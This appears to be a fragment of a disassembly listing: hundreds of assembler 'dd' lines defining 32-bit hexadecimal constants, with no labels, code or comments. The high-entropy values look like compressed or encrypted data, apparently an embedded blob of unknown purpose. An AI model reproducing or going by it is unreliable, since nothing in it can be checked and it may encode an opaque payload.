		dd 0A5135ECEh, 0CDFF066Ah, 2311E012h, 7601A196h, 0AD9A86F4h
		dd 8AF45607h, 0EF5F51FAh, 216DEA01h, 36576102h,	58CD9B24h
		dd 0E009957Fh, 64F83CB7h, 0BF640719h, 507E926Ch, 541B94D6h
		dd 8F0C9700h, 2A227F29h, 0BA82BF3Ch, 355C6237h,	0DE4EF4AFh
		dd 8F999200h, 66CC645Ch, 8A7E28BBh, 0A812DE5h, 520CF6h
		dd 0FE183B52h, 0BCB70060h, 6B4BC4ABh, 9502D2DCh, 0D79705A5h
		dd 6C675C1Eh, 44AF25Ah,	9332BBBh, 0FC1F258Dh, 0FB00F400h
		dd 1F2A5721h, 4BC57BD0h, 91BD8327h, 0A220B8ECh,	6ACE7747h
		dd 425A9B90h, 9A5B3EB7h, 2FAE80D1h, 0E3EFF7Eh, 0ED066FD7h
		dd 3C51E1C9h, 98F62Fh, 5B9F4491h, 6204D5DEh, 722432FFh
		dd 9AA2F4ACh, 14E99D11h, 4AC5AC48h, 22FCCA53h, 0CAF94A9Eh
		dd 1D5A35F9h, 3CB868F9h, 0CD7B980Bh, 4DEB022Ah,	0D5184260h
		dd 3D55E2EAh, 0AEB392E9h, 0C28006DEh, 0C6B52EB7h, 89FAC101h
		dd 0E0D38099h, 461F62Eh, 5310E3DBh, 0AD2117B9h,	0D4C974A5h
		dd 0A445068h, 0EC442Fh,	45FB4AFFh, 7F8693F5h, 0B502B973h
		dd 470ACB2Eh, 2F2A792Bh, 1764E2CDh, 0D3883360h,	0E20434Fh
		dd 12BEA2E2h, 0E0076853h, 5F811E20h, 0C81CDA6Ah, 0F235C018h
		dd 0B7287528h, 16007CE8h, 0D517BA77h, 9C9E0871h, 0EAF3C007h
		dd 0CB4EB6E9h, 457322C0h, 40F6B25Fh, 0D1B59016h, 0B75086ECh
		dd 834F14FFh, 0D0DBC830h, 0AED39715h, 3D8D41D0h, 80892DEFh
		dd 1FFED1DFh, 9C525050h, 0CC8A40A6h, 0F0262C5h,	0D223ADFEh
		dd 0FC2289C2h, 1D496923h, 418B088Eh, 27BD3CDEh,	8831F9DFh
		dd 0C32AEF6h, 0B64233h,	82E8BB0Eh, 5D73BD58h, 9E04F816h
		dd 0B1121465h, 0BF9E2A47h, 5BE999C0h, 9A0B2BB0h, 858D6CD0h
		dd 6AEDB935h, 2D01ED1Ch, 0DEDB5Ch, 0A8A0D823h, 0CABCC825h
		dd 0CD284825h, 6115646Dh, 0C26AA1F5h, 0D95512E6h, 0CB245659h
		dd 34609860h, 2190BF1h,	0B58B91C4h, 59021B21h, 25A25861h
		dd 8DC6EE5Fh, 71BD290Bh, 6338DD22h, 8939A7B7h, 0E5B50906h
		dd 0FCF1141Ch, 4F5E9746h, 75F6F7DCh, 53B586CCh,	88F89609h
		dd 0F90081A7h, 22BB1079h, 1E6B5CEh, 4569AD5Ch, 0F8AEF28Bh
		dd 22799EFh, 881B7C96h,	0BC3AC79Fh, 4E5A127Ah, 52566244h
		dd 3CE26DCCh, 0A08E37EDh, 0E460C4A2h, 8D40D9B2h, 5B5F7EC2h
		dd 2AB7F596h, 56BF7992h, 80E0FCCBh, 0A1678B6h, 0B00500A4h
		dd 85313B95h, 5F8108A5h, 4B7F2A34h, 68A38C1Dh, 3E491909h
		dd 0C8AC02A1h, 249F8018h, 63E0BAE6h, 0F6EB365Eh, 212C81ECh
		dd 14E72B30h, 0B5015002h, 9F74310Dh, 90C4942h, 0E1185104h
		dd 0F0563660h, 3327264h, 0FA4F9659h, 88161517h,	56BD0FF5h
		dd 78C17BCh, 625C6D1h, 0AE037450h, 0E25BF6A4h, 0F109BF61h
		dd 44696459h, 0E17100FBh, 7A8E4920h, 9B07F491h,	0D1A7853Ah
		dd 6B6D99B1h, 2E7A282Bh, 20CC06E1h, 0E9251529h,	0F6CB7E3Eh
		dd 0FC651500h, 0D328A058h, 89D1BD63h, 0BA280DFh, 9FF202F0h
		dd 0C5BD8908h, 0B9A92518h, 0B370CAFEh, 0F63AE104h, 848F0B6h
		dd 97D0A51Fh, 0FC7E88h,	71F3710h, 250F0A9h, 0DE1CBF33h
		dd 6C5767FFh, 6DBD12DAh, 0D626E20Bh, 0BEA5D3B6h, 0FB8B5646h
		dd 0A91F82C2h, 85C05161h, 0A10DBD2Bh, 0D99A2A32h, 99C01CC8h
		dd 578D7A1h, 95CEC201h,	51C4A9h, 0D6E78022h, 2F986096h
		dd 0BE598702h, 0D7F49AD7h, 0CBBF0DE0h, 4179C900h, 33F98B96h
		dd 1996959Dh, 14C2C19Fh, 0C3D6A66Bh, 5E188F0Fh,	3FBBC979h
		dd 8680ECA2h, 0D2BC7067h, 9416B572h, 73A8EFE7h,	60A600AAh
		dd 0B3FE3D8Fh, 0F121244Dh, 0C1CB2C4Fh, 2EE7FCC3h, 7CA76017h
		dd 8E138BB0h, 3CB55C0Bh, 1317176h, 79E34D15h, 24CCCCAh
		dd 0D9BEB627h, 0B077A56Eh, 4BEDC3ACh, 1070862Eh, 5752C712h
		dd 0B62F6AE1h, 8378E01Fh, 150760E8h, 39C56DFBh,	0D4F6B305h
		dd 568CF55Bh, 5589000Eh, 0A4EC67A2h, 4BD39F7h, 8EAF0BF8h
		dd 766A5B75h, 0E4351E09h, 5EC45352h, 0CBEE1CD9h, 45A64EF5h
		dd 0DA8B9FA0h, 3DFB10B5h, 98D23FF1h, 581E00FCh,	27D34CA2h
		dd 0B7956AAEh, 0D5658035h, 0F88AED87h, 0AC8D2C16h, 0AAFBB8h
		dd 0C425AC0Fh, 247DFA9Dh, 13107894h, 859195D5h,	4CBDB38Ch
		dd 21D14E88h, 0A5E6BD09h, 0F33050D0h, 0B76FEB6h, 877A4C9Bh
		dd 565C0BE6h, 34891672h, 4500FE7Ah, 62CDB2Eh, 44284D5Ch
		dd 5927E4CBh, 0E4634D01h, 345601Dh, 580FEA9Eh, 1900BFA2h
		dd 0C08160F1h, 0CE61F66h, 6471BBEEh, 0F91BF227h, 52619CADh
		dd 3862BFF5h, 831A2012h, 3C00E3FAh, 0CDF19EE4h,	25C4EB8h
		dd 0F3695375h, 4B5E709Fh, 51105251h, 0B702DB81h, 5B6E6DF1h
		dd 295150h, 0C9B33A11h,	0D200E5F8h, 45AFA4E4h, 559661B1h
		dd 0DB7AB567h, 0F168CBD1h, 0EE8500B3h, 1F2FB561h, 82ED4F00h
		dd 0DC77F89Bh, 58E527BEh, 555E4D4h, 0EE88A8Fh, 1C009A38h
		dd 0E2FF921Fh, 813AE03Bh
		dd 16477719h, 532067AFh, 5F2540A9h, 7F6ABA97h, 62069A35h
		dd 2C56CA82h, 58362639h, 194AD59Dh, 0DAB4BCFCh,	0FE30C390h
		dd 13C7D048h, 0F01F120Ah, 9BA0803h, 1B3D8431h, 22E9CE6Ah
		dd 996E9522h, 0FE8227E6h, 0F90F403Eh, 0C304BC8Fh, 0C642980Dh
		dd 66426ABh, 0C926D99Dh, 0A5764575h, 26804DDCh,	64423D4Bh
		dd 0A9B31C9Ah, 19E98934h, 0B79D2478h, 8B5A05A1h, 0E012B6C1h
		dd 0F74DA96h, 0A37636BBh, 7E186A0Bh, 0FC01B87Bh, 85AC6FBDh
		dd 57D6F339h, 1011C331h, 0EB71547h, 1F65B65Bh, 71557E40h
		dd 0F1045188h, 5099D13Eh, 0EDFB30EBh, 6C4C25C4h, 0BD5F25F9h
		dd 33508065h, 0B30C7B29h, 5A4CFB12h, 128924E0h,	0EC21B595h
		dd 518F892Bh, 0D4D8B37h, 7552055Eh, 5BB54FD2h, 0D976D2B5h
		dd 96C6E00Ah, 0D59FC204h, 3C9E6FEEh, 7B9A014Dh,	314BDA47h
		dd 9BD3089h, 8529B020h,	929713FDh, 0A0389863h, 0ED450FA3h
		dd 72A09650h, 2D65EC16h, 903DA61Eh, 82B757E7h, 3CA06C00h
		dd 252DABB3h, 3590025Ch, 7B0BDC22h, 4FCAF671h, 7A8D4093h
		dd 2825F91Eh, 0DE11FE6Ah, 91009EF8h, 81AE9DD0h,	250EE7DFh
		dd 66E50F82h, 0EBE07E51h, 0B7691639h, 0CA6BBE30h, 2551529h
		dd 0B589BB0Ah, 0FF9C30FCh, 7AF2F8D2h, 8F3758Bh,	26763D8h
		dd 8BB8647h, 4AC6026Ah,	0A2567B1Eh, 198D9380h, 0BFA73326h
		dd 40923160h, 72A9CC4Eh, 121E824Eh, 0DB5A807Eh,	2EC051B4h
		dd 3C4C788h, 431613B3h,	0B0EC02BEh, 0E9255FADh,	0C2BA7162h
		dd 0B3029FCCh, 0E01A6D7Ah, 0A0DF3467h, 390CE904h, 6DB28494h
		dd 656C4800h, 0B3E298ADh, 261E7100h, 0A90CF97Ah, 0A31095Fh
		dd 4C792CE5h, 3E8F5194h, 0BC5FC0F5h, 0BD702027h, 8C640960h
		dd 50E261EAh, 8B02E7BBh, 5F2990DEh, 96556889h, 0D124424h
		dd 74D0F200h, 0F616EC39h, 0EACE0011h, 0FE4DBE6h, 0A069F5C0h
		dd 0BB11FD48h, 1D706001h, 0DEB47695h, 9B1B56h, 43742219h
		dd 4B9109D4h, 0AE49D4A9h, 70F701B6h, 0EA924018h, 51613212h
		dd 0DE04FA13h, 0BB000971h, 19B12C26h, 4DBFFFF8h, 0ED92C2D4h
		dd 0F85F44E2h, 63BF04B2h, 0BD50BAE3h, 82568871h, 1DA58D29h
		dd 0D9276012h, 0D302BDE6h, 0E4010F11h, 4D2FF571h, 0AF3D3869h
		dd 922E742Ch, 1D84F252h, 1787BDA4h, 5FD48C98h, 510072B2h
		dd 0C1C92AD1h, 2202C31Bh, 8C800146h, 646A5ED0h,	0D028FA82h
		dd 0D7010067h, 7BFE3558h, 53007E3Bh, 0FA5D2C28h, 5CE6FB3Dh
		dd 0F92C0B0Ah, 31AD386Bh, 5217B571h, 0A50BFE48h, 89E476C2h
		dd 99E8C786h, 0C6FA3C00h, 1D12BA58h, 0C82B2517h, 0BB603374h
		dd 5A3E7ABCh, 41B9E407h, 8AAB1644h, 200AAC6h, 39EEED03h
		dd 0B88F6F96h, 130151C3h, 9D02A07h, 97B820AAh, 33998B89h
		dd 91C93EB2h, 585C1CB8h, 462DEBD6h, 1141EA89h, 2192A279h
		dd 2F1870ABh, 0EA0ED596h, 389E3B5Bh, 5FE9D436h,	3083CC4Bh
		dd 12441694h, 0F5C9B3BDh, 2F13B479h, 91C183B9h,	0C38368AFh
		dd 0E0C321A0h, 0C4EB9512h, 3250C1F6h, 8A4A9481h, 89400195h
		dd 0C1792475h, 51AB042h, 5C923060h, 621A2616h, 0F4466932h
		dd 6A618B0Dh, 0DE6D56h,	5BF4D1F3h, 9D3110DDh, 0CEB54574h
		dd 8DB30FFDh, 0D1B6CCB9h, 4145DC3h, 225ED1B8h, 0F340D60Fh
		dd 8800E060h, 0A90FC3F6h, 0BE2A608h, 63997EC1h,	0FC8084F5h
		dd 3751BA2h, 68D90A7Dh,	6EF039BFh, 0B84A5F63h, 5912C7E3h
		dd 0E2CCF631h, 6BE33114h, 8BADAE80h, 0EECD95DFh, 73E9FA13h
		dd 0F4B33AB9h, 7DF1055Eh, 65991C17h, 2FA6E173h,	5E0B51Fh
		dd 93B832BBh, 4B3CA314h, 0B62AB9F1h, 3016B229h,	37487088h
		dd 73FD5A70h, 0F4E3B24Ah, 56C027DAh, 0A7860BA8h, 5CCA1817h
		dd 3CB82AA9h, 67C2B00Eh, 0CDB284CCh, 77A3AFBCh,	0A73AE785h
		dd 88E406C0h, 0A390EAAh, 3452B37Dh, 11CD0439h, 0E7810007h
		dd 4B6D7BC1h, 0C8DDDA73h, 0D671C01Bh, 700B12DFh, 8989A6B1h
		dd 0D71A5DCAh, 3A005D46h, 1A9EDFB2h, 128FBE26h,	0F27CA9ABh
		dd 0A5E988DFh, 7C1D1110h, 0A5C5E100h, 0AEBF3F5h, 82040967h
		dd 0E879880Ch, 8049E444h, 0EA710689h, 233F9E44h, 0A8510217h
		dd 4D51AABCh, 30D38700h, 6C9481h, 0BB236411h, 821231B7h
		dd 60219A12h, 15B8C9A9h, 93461402h, 74EFD4A9h, 78612B17h
		dd 0CB003B16h, 5D387441h, 4F85896Eh, 0AB061259h, 0E947688h
		dd 768102D9h, 38897BA0h, 2B005518h, 395BE0C9h, 95CE8BF9h
		dd 187725EAh, 12EF81FDh, 817B1396h, 6B27B1C1h, 8A71FD8Ch
		dd 58005FE4h, 4B25BD22h, 8A1AAAh, 9123DA2Fh, 76575DE3h
		dd 58B09216h, 62D7B437h, 55CD24E2h, 0D381AAD9h,	4722048Ch
		dd 2E6DE16Ah, 57B8DC35h, 4618F380h, 0C0AC2DFh, 82ECCA48h
		dd 11B908h, 0F2A0BF90h,	50777809h, 60790D93h, 2F7E5060h
		dd 0BC091DB7h, 6A13CDF6h, 732B6FFBh, 0C034F048h, 0DB9D57DAh
		dd 751F0035h, 3E0AB094h, 2B748434h, 0F0C06B4Ah,	968FFEFh
		dd 8EC842C7h, 38D4E8DDh, 71562BC1h, 0A8135845h,	858D291Fh
		dd 79F9532Dh, 0EC181Ch,	207E3653h, 0E6FEA60Ch, 0C74E2196h
		dd 4380B6F4h, 1303CEA8h, 0C8A0D7D9h, 871290C6h,	409095Fh
		dd 0C0B3DE2Bh, 8463F867h, 1179A800h, 144BCF4Fh,	498F4ECh
		dd 0DE89B9C8h, 0F99CEFBBh, 0D912EF49h, 4F442Bh,	58BF30F1h
		dd 2299CF0Dh, 3692F400h, 603FA6FFh, 0BD232CEEh,	0BE4034F8h
		dd 0C5A9FE16h, 0C57B1589h, 59955BADh, 26D181Ah,	28A29CB4h
		dd 0BA574445h, 0F6D7535h, 0ABD47540h, 0D88B01FCh, 8987CB80h
		dd 196E6E06h, 28FAA601h, 2EA569CDh, 0D7441EA1h,	0F0B1F6ABh
		dd 9DFC4CC5h, 0BD6118DEh, 653A193Dh, 4B6AFE14h,	0ED134003h
		dd 0D8E8353Eh, 0D5ABF4Bh, 0D16040A1h, 0E7165AC5h, 5D6E5AAEh
		dd 42D8E504h, 9811C8B1h, 34948A98h, 9D095083h, 5B6F2701h
		dd 0B70BB765h, 94D7786Ch, 0BC3196DCh, 11E8C486h, 40BEBC45h
		dd 84317198h, 170174D6h, 0BFFA271Fh, 0C46BB9A2h, 5FB4E91Fh
		dd 0A5DE2BB8h, 4876519Ah, 90EEF2C1h, 0A6BF7340h, 0BCA3206h
		dd 0A46495FAh, 5BBD1090h, 0B80FF01Fh, 782604Fh,	0EEE978D9h
		dd 0B9BD5F33h, 6C5F2723h, 0EE9D4BFBh, 0D6618609h, 8702DC0Ah
		dd 40F87EBEh, 12F35DFCh, 2EFBD2h, 0BB1FFB34h, 0EC090373h
		dd 79A96A20h, 0FF584534h, 3902807Bh, 0E26C2FACh, 206B4ED7h
		dd 0E9252A6Dh, 6036CF42h, 69C073AAh, 4FF25200h,	0A4E3EBBh
		dd 2E1D9D12h, 103FDE72h, 13313B1Fh, 23A30E8Dh, 0A18C508Ah
		dd 0DB4367D1h, 12F4CFF4h, 0AF863A02h, 5713EF22h, 0A7D07753h
		dd 21C01CFBh, 0B45D49AEh, 5C72B2DFh, 0DABF6285h, 3161EE5Eh
		dd 372C9D95h, 46BB9601h, 3B08F5ECh, 110038F3h, 0A3882343h
		dd 421CDD6Dh, 0FB679644h, 0CD8270C8h, 73924B00h, 2E260AC8h
		dd 0BEE99076h, 687AEBB4h, 21952909h, 6096DF20h,	2F9EB595h
		dd 0E5405654h, 0BE26ABD6h, 5201374h, 281FA925h,	31E36099h
		dd 891EF165h, 0EB0D851Dh, 10E98C46h, 278C15ACh,	19553FFDh
		dd 2F0D8EA3h, 0F2940B34h, 0BD589BB3h, 0BC26F912h, 8AD09848h
		dd 0D7809738h, 12198531h, 0E9F67697h, 0E5F04777h, 0FC5D9919h
		dd 9113361Ch, 22D082B8h, 8908830Fh, 0EFE34556h,	0F05F454Ah
		dd 70DB81C0h, 7E122F94h, 7074C53Ah, 687009D4h, 6758AB7Ah
		dd 9630B71Dh, 5350FE44h, 3717B3EAh, 5F030B8Eh, 0FD934E96h
		dd 5CBEECF8h, 0F916E512h, 0B56DB816h, 7DA2BCF6h, 0E9DAD95Dh
		dd 6DCC85Eh, 6EB4E723h
		dd 0EABDAAECh, 99CE0297h, 42F97425h, 44DD4A68h,	0E18575CDh
		dd 0D151B62Ah, 12D3BCD6h, 48E8ACA4h, 6C2721A9h,	0DEB7314Ah
		dd 582275AAh, 0D509BF40h, 2555A61h, 5C75CD73h, 0D690E8C3h
		dd 0DC5A8704h, 8AB8D273h, 21B6CA4Ah, 8ACD203Fh,	0AFBC56F5h
		dd 7601C3BDh, 28D94AD5h, 0F8CC016Eh, 0CDEDBF13h, 41C6E96Ch
		dd 2B27F139h, 85A21CFh,	0E90931E9h, 80C070CCh, 9D26E5EEh
		dd 0B5AF76F9h, 0DFFF00B8h, 0D6E94A85h, 6BDBCBA1h, 0A6B5E1B6h
		dd 6E13FC0h, 0F53EAD5Bh, 90DF1CF6h, 0B35096A1h,	6E26038Fh
		dd 989F518Eh, 3D1D70h, 398A3474h, 310FB0AAh, 0BE666009h
		dd 6E82FD59h, 8B555AA0h, 45257833h, 3C124004h, 0D1B39092h
		dd 736617Ah, 20359D3Fh,	155359B9h, 47204FFDh, 0ECA413h
		dd 7910C7D3h, 0E0D2A969h, 3034CA13h, 2F475DE0h,	8C02D5AFh
		dd 3557132Dh, 851511DEh, 8204809Fh, 8EA07961h, 4BB78AFAh
		dd 10CB5C81h, 4DA55BBDh, 73F42ED6h, 0A8895BC0h,	6D6A8B32h
		dd 0CE0DE260h, 6036995Dh, 57183778h, 8CCF0A38h,	29612802h
		dd 750C31B5h, 11118365h, 963A7200h, 0E147E82Ah,	0F6649E07h
		dd 0CD60F487h, 97AB28A8h, 571F873Ah, 9CB5BC80h,	271D01EDh
		dd 30E1B284h, 97AE051Eh, 9DA6AADh, 937112D0h, 9E506744h
		dd 216D521h, 0CE02D36Fh, 9BC9940Ch, 3CF5D97Dh, 0E63C1F3Ch
		dd 0EB53B397h, 2BFB1049h, 7098531Dh, 685AA6DEh,	75113FE7h
		dd 0E2A82120h, 0A809AF51h, 0E704E8DFh, 75AEE1B9h, 0A8CBF99Bh
		dd 1EBD1CE5h, 80ADC05Ah, 8A50F9CBh, 51AD1E9Ch, 0DF6D49E6h
		dd 9CDC5D40h, 2A1A044Ah, 0B94E3E44h, 0D309252h,	734D847h
		dd 0FCF17F8Eh, 0D1FD80A4h, 29F673DEh, 4ABD9D38h, 0BD5E91E7h
		dd 33F9CF74h, 23A03FABh, 8B480B14h, 0B561CEDCh,	9E6A32C5h
		dd 6F80809Ah, 3A48DCC9h, 257FBFFCh, 4ACC06D3h, 202B4C45h
		dd 7AD2AB25h, 0F433CD0Bh, 1C3058ADh, 0B0DC26h, 370E6FCh
		dd 94BC5BDh, 84C25394h,	0FBB1D56Dh, 0C59A820h, 744B7380h
		dd 0E210CA00h, 0AF41D4BBh, 9FDD0F58h, 1273EFBAh, 0A8BA0B03h
		dd 25190ED5h, 5FE9B60Fh, 247C2B2Fh, 0C0EC12CFh,	9A31393h
		dd 4377FA27h, 353417F4h, 1C64D823h, 801D6500h, 0C55A1688h
		dd 8E8725E0h, 2508C371h, 89AE2431h, 0CE5CC82Bh,	0F03D5869h
		dd 0AE204459h, 0F03AD58Ah, 43093D0Bh, 2EFC7791h, 0B5523318h
		dd 0B1D9B518h, 204080A4h, 0A15C3Ah, 0EB79223Ch,	0E96E9B88h
		dd 60D9920Fh, 2FE432B8h, 0FEBB951Ch, 762138F8h,	6777429h
		dd 4D5BE90Ah, 18399D04h, 0FCC82AB9h, 63534565h,	0ABD1C4AFh
		dd 0D812E075h, 70411FB2h, 0E52A207Eh, 90074CB9h, 0FBAAB2A7h
		dd 0BE2C3380h, 0F8D64BB5h, 122B80C0h, 73BF5224h, 2595008Ah
		dd 7B92ED3h, 30975F5Bh,	9F2B7C40h, 9C1D703Dh, 20C96B00h
		dd 5C1F7761h, 0A517CC47h, 0C907AC11h, 0BC3371DEh, 41AB88AFh
		dd 0FB8641DBh, 0A0EF9EB9h, 97216D08h, 56B34010h, 0D91888E7h
		dd 0C02B0A1Fh, 30A10CA8h, 890BD211h, 560295B5h,	0F781D8EBh
		dd 0EBFAB209h, 8000B742h, 7D91F5B3h, 0BD5B33F9h, 0A360E8B4h
		dd 0D608D280h, 3B96C07Fh, 9000704Bh, 1A15A01Bh,	0E28B3EBh
		dd 53CEF88Ch, 16F8FF6Bh, 86F9F712h, 0E67F1FE5h,	7DF3F24Ah
		dd 0DC1476FBh, 0CD950B9Dh, 827C7B02h, 25F1B501h, 0A57B65D7h
		dd 0F1502853h, 4E5925FAh, 4DEB3EC5h, 66734088h,	1709BFCCh
		dd 71095BFBh, 3F86441Bh, 0A101EE47h, 0F15927D4h, 0BDE570B3h
		dd 8CF9B95Ah, 74C08D2h,	0E9805392h, 975B4ECCh, 35571F3Ah
		dd 0F944ADAAh, 8CB4E1EAh, 82F200DCh, 2DB74BAh, 14972F7Bh
		dd 4357452Ah, 0AECD2599h, 5F1270CEh, 0E895A904h, 36149780h
		dd 480915E1h, 60F12555h, 0BCE0F7B6h, 6B0980B6h,	84EEB7B3h
		dd 0A2BBFA37h, 261B2183h, 951F9276h, 0F922AA47h, 0BB7F294Dh
		dd 41C4DC99h, 8AAEEB95h, 5D2A041h, 1ECB989Eh, 0F27A0301h
		dd 785F9532h, 0C8904FF3h, 22016FABh, 620DBD7Ah,	50C45B47h
		dd 9DE9552h, 0F4CE6EC3h, 0C0D7DBEFh, 37FA6F9Bh,	82425E09h
		dd 9DD60221h, 87944FFCh, 96A0FA4Dh, 6807A05Bh, 6507FD02h
		dd 2013E93Ch, 76E494D9h, 0B26B7100h, 47CD4626h,	941BE84Ch
		dd 36FE49DDh, 7A040200h, 0F685893Ch, 0A97BB50Bh, 16ECF77Ah
		dd 0A4AB5C1Fh, 15B260E7h, 30538110h, 324171E1h,	4EB0F62Fh
		dd 37165700h, 0B50235E9h, 3300E93Dh, 22ECE5CAh,	27909F09h
		dd 0A20753B8h, 7C883645h, 492AF4EBh, 42A5A051h,	5FBD5F9Ah
		dd 4CA8C180h, 4BF36D51h, 248E2043h, 0FCE2D398h,	0D8805DB1h
		dd 3BACE58Ah, 9FD40019h, 5251CB2Bh, 47040ECAh, 5FAA1DB7h
		dd 0F0DAA7EBh, 1E49C76h, 99A394FEh, 7BAC0BDEh, 0D075A823h
		dd 5EFDD68h, 8D31D0BDh,	5BD84B25h, 232BBEA9h, 46D62F56h
		dd 0C66F001Dh, 725348BBh, 9D111237h, 99F265h, 9F4E8DE6h
		dd 97CAFE5h, 689229Bh, 3A705773h, 70569782h, 3C1D54A5h
		dd 0F5BDC761h, 0FF9C2B2Fh, 0BAD09703h, 0D4F13295h, 1D00D4A0h
		dd 0DEAAE7E9h, 4A1F6016h, 0BBF0C1F6h, 33E8C4AFh, 12BBDBB5h
		dd 95C18C8Ch, 97F92440h, 0B9AE8145h, 205D4240h,	9A9800B5h
		dd 8178578Fh, 0DF04D10Ch, 0A5594367h, 8A1DB8ADh, 523EB0DDh
		dd 0C904BB66h, 53310F8Fh, 0FB9434BAh, 64FFA312h, 0A06DF6ABh
		dd 90B494E9h, 2001251Ah, 44BDD06Eh, 7184008Eh, 0FBC93409h
		dd 0B01C392h, 0BA485C93h, 0F470FE62h, 210120B5h, 0D0B70F00h
		dd 0E3BB5B61h, 19A925CBh, 2D608FDEh, 3199ECAAh,	22E0F051h
		dd 0CF06F8Ch, 0F6540B96h, 4B50901Ah, 0A06E304Ch, 9A65EBFh
		dd 96147EEh, 55EC09F5h,	44C5D81Eh, 38AB1D61h, 0FE14529h
		dd 60C01588h, 1CD780F0h, 253BE99Eh, 57D17AF3h, 5AD25E60h
		dd 0AF26E3B2h, 1DC58D09h, 0E0C7CD75h, 1B7861BBh, 3913F8C4h
		dd 8FA1B5ACh, 5BF0404h,	2C3EAB34h, 44F7DE0h, 0C50079E6h
		dd 0C3801E03h, 920017B1h, 70C0A4A7h, 0B7D637Fh,	48124783h
		dd 0D42F8B54h, 3300FC63h, 3FDE65BFh, 4E8902E8h,	8BD5B59Dh
		dd 56EEC4D4h, 1D46D6FCh, 601D400h, 0AB46DC1Fh, 0A98E7616h
		dd 952DA9A0h, 1A792C5Bh, 7E028318h, 0E7F977EBh,	0C10260BAh
		dd 0F9CE9518h, 64B4D497h, 61C23784h, 0E3812011h, 709D2F51h
		dd 0DEFE27A0h, 2F67B5Eh, 74334DE5h, 6E7CB692h, 0B3507040h
		dd 0E21D09FFh, 0BA7FC146h, 0EA655F36h, 4AB34850h, 0C5E5ADEFh
		dd 9BEF1519h, 3570D318h, 71B4B7E8h, 0F2D0E03Eh,	9DF84CB3h
		dd 5317FF4Bh, 57236BBBh, 3FB2004Dh, 0F28A5F9Ch,	0DDD2A097h
		dd 7769523h, 0AE59CBh, 79C1B7CBh, 5B971608h, 45B5A59Ah
		dd 0EB988C04h, 855A3FB8h, 10CF30E3h, 0F8007481h, 7C8FB9E6h
		dd 78A387FBh, 0F1030122h, 0C593E2B8h, 57162ECFh, 0B896B9Bh
		dd 40ED9555h, 3A468D6Eh, 0BB80DDB1h, 8BF9D37Eh,	35AE0076h
		dd 3C648C74h, 5167717h,	0C1B90BA1h, 0F73BB83h, 0BCBA7E59h
		dd 5DA1385Fh, 0E7D4E180h, 89B56EAFh, 11459512h,	96C09BAEh
		dd 5802D8B6h, 0D21AE229h, 0A794D15Dh, 0C563A942h, 8F6C412h
		dd 963CE35Fh, 2ABE6725h, 76808B6Fh, 4302425h, 0B8273595h
		dd 21A6B497h, 0E073CAA0h, 57A2A512h, 519BCFAEh,	40EEDE7h
		dd 62302683h, 273118E1h, 932430FFh, 5A9C00CCh, 962ADCE3h
		dd 1102AE1Ah, 99028116h, 0C4386D1Fh, 0A1A66317h, 302C98F2h
		dd 53E3DF81h, 5781F0BFh, 542B0A00h, 16B5FE67h, 0FCCD070Dh
		dd 558509E0h, 0DE74AE1Fh
		dd 0D49D20AFh, 74023A88h, 93DF5D5Bh, 63D16AD0h,	808AD5A4h
		dd 0B0D854B3h, 0AE044EDAh, 0D8BF0F3Dh, 0BBAE2AAh, 5C616050h
		dd 9D29C0E2h, 0C7951025h, 0AE601263h, 0EC00217Bh, 0D4807909h
		dd 2B09CD74h, 7110519Dh, 0D3F66BCFh, 0AD8800D4h, 0FCF5C43Dh
		dd 8102DA48h, 284D61CFh, 84CE5C10h, 6931E99Dh, 73B84839h
		dd 0F9D61300h, 88BB79B0h, 5B3A02A4h, 12A5BD33h,	12ED6CF7h
		dd 0E7F8C18Bh, 4FDA5ACBh, 0F4C9B780h, 0CAA19073h, 87EF1502h
		dd 458995F0h, 0A990DF09h, 0CB8A8h, 0C7C5DB0Dh, 0FD09D8E2h
		dd 5BA3F35Ah, 3525A758h, 3E563012h, 95316082h, 487E8961h
		dd 0BD7F4Dh, 81ABE7A0h,	3E75697Dh, 0D6650D25h, 8B611460h
		dd 0D5BF1E09h, 9DE4474h, 48B7EDDFh, 0F827CF70h,	9687E50h
		dd 83B72404h, 8B292382h, 8577C1C6h, 0E861A42Ah,	3BFC0845h
		dd 47BD0064h, 5272737Ch, 5B545FF8h, 3077B7B9h, 0BC8779EDh
		dd 0B5D600D7h, 0C5E9FBFEh, 961257FDh, 43F5BD31h, 0C1054961h
		dd 26982DABh, 9583B072h, 0BB56D20Ch, 0F2141DD4h, 0A7A94ED1h
		dd 0B1AC3BDFh, 6FF74F73h, 26C10943h, 2886F56Bh,	9DAB73B9h
		dd 1CD7068Ah, 0BD8845C3h, 0C62DA59Ah, 81B595B6h, 825E800h
		dd 0D755BD8Bh, 918C0481h, 91C90A3h, 225F2D9Dh, 11220FB2h
		dd 144F5003h, 0A87C6370h, 0D4CA80h, 8D82B7F6h, 5BB19A32h
		dd 0C9D4819Dh, 6B3E61F8h, 515239Bh, 0C060AC75h,	61FCDAD8h
		dd 25019CC4h, 0B8B9E904h, 0BF28E1D7h, 0C7DB6007h, 2E50BEABh
		dd 0E4A95B9h, 9AD4D4ADh, 8A0FF962h, 0F3781875h,	4B769F29h
		dd 50207B52h, 0FB716092h, 0EC83340Bh, 9BB7DDFCh, 84BF8D23h
		dd 719D3172h, 9A5CAB8h,	46777568h, 58059340h, 0DD69D3C2h
		dd 202EF814h, 0AA9813F1h, 0B5EF40FFh, 109F1BA9h, 179EB6CFh
		dd 0BBE1BD0Bh, 8A396D2Ch, 8506D553h, 34B71E41h,	0AC3BB995h
		dd 0C8AB93B3h, 714BE4CBh, 2A12AD92h, 175D0D8Bh,	46A07B9Bh
		dd 161DDC86h, 3B09C9F9h, 0BA8A38E2h, 0FBFC2D44h, 0F10B6ACh
		dd 0F5255C4Ch, 2ED8A4C9h, 75B09018h, 0C82B800Ch, 3F80F699h
		dd 0F4EC9734h, 71AD0074h, 9B6688F0h, 4117A81Ch,	0A530D18Bh
		dd 8C8284h, 3AF0735Ah, 0A64A200Ch, 521FDC00h, 5FE58F18h
		dd 62A151E9h, 71441560h, 6850F94Ch, 7304C927h, 1A930BFCh
		dd 0A5553379h, 0C9BE2969h, 0C1D488E9h, 22611A12h, 8A909C5Bh
		dd 20152C98h, 0FB92B894h, 8B22B5E4h, 9239B9B7h,	4BAD4273h
		dd 0BBBD21A4h, 9F005DE6h, 120C2CC9h, 189738EFh,	48C380BBh
		dd 0F925292Ah, 2445C0C4h, 97618C20h, 0FFB74622h, 6ECCC35Ch
		dd 1F0D482Dh, 2C999290h, 9F612ED8h, 80003A1Ah, 749DA0F3h
		dd 8F24DE7Eh, 9D094A2Ah, 0E0CB561Fh, 102EB9FCh,	0D0987B97h
